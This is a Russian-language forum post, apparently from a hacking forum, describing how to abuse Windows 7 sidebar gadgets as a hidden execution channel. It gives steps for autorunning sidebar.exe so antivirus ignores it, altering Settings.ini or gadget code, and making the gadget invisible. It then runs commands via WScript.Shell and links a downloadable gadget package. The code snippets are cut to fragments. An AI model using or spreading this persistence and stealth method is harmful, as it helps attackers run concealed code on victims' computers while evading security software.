![]() |
В один прекрасный день я заинтересовался как устроены виндовые гаджеты изнутри.
Гаджет - это такая хрень которая появилась в win7, можно поставить красивые часики или чекер погоды. http://s41.radikal.ru/i092/1404/d4/79b18edab2b5.png Ну вы поняли. Итак, что же них интересного? Дело в том, что гаджет это html страничка, использующая css и поддерживающая VBA и JScript (не путать с браузерным обрезком). 2 этих скриптовых языка имею весьма широкое применение. Подробности: В win7 существует файл "C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\Settings.ini", он отвечает за настройки "sidebar.exe". Когда вы перетаскиваете гаджет на рабочий стол, в этот файл записываются его настройки, а в реестр прописывается: Код:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]Стандартные гаджеты лежат в "C:\Program Files\Windows Sidebar\Gadgets", но новые складываются в "C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\Gadgets" Собственно тут напрашивается метод эксплуатации: 1) ставим на авторан "sidebar.exe" - он легален и ав не будет реагировать. 2 )меняем "Settings.ini" или код уже установленного гаджета Перейдём к практике: Я взял чей-то гаджет и выкинул из него половину мусора, остался только рабочий каркас. При запуске sidebar отрисовывал белое поле, даже если html был пустой. Примерно так: http://i031.radikal.ru/1404/b0/acdc8149e04f.png Тут 2 варианта сокрытия, либо установить непрозрачность в ноль, либо поставить на фон через JS прозрачное изображение. Код:
bd=document.body.style;http://s003.radikal.ru/i202/1404/ea/7aca65533c04.png Если Изображение полностью прозрачно, то на него нельзя навести курсор и соотвественно менюшка не появится (!). И наконец, самое вкусное: как всё это эксплуатировать. Код:
var WshShell = new ActiveXObject("WScript.Shell"); http://s003.radikal.ru/i201/1404/fb/2fffe4495718.png https://www.dropbox.com/s/7q4geyclgru8mr8/en-US.zip |
| Время: 22:57 |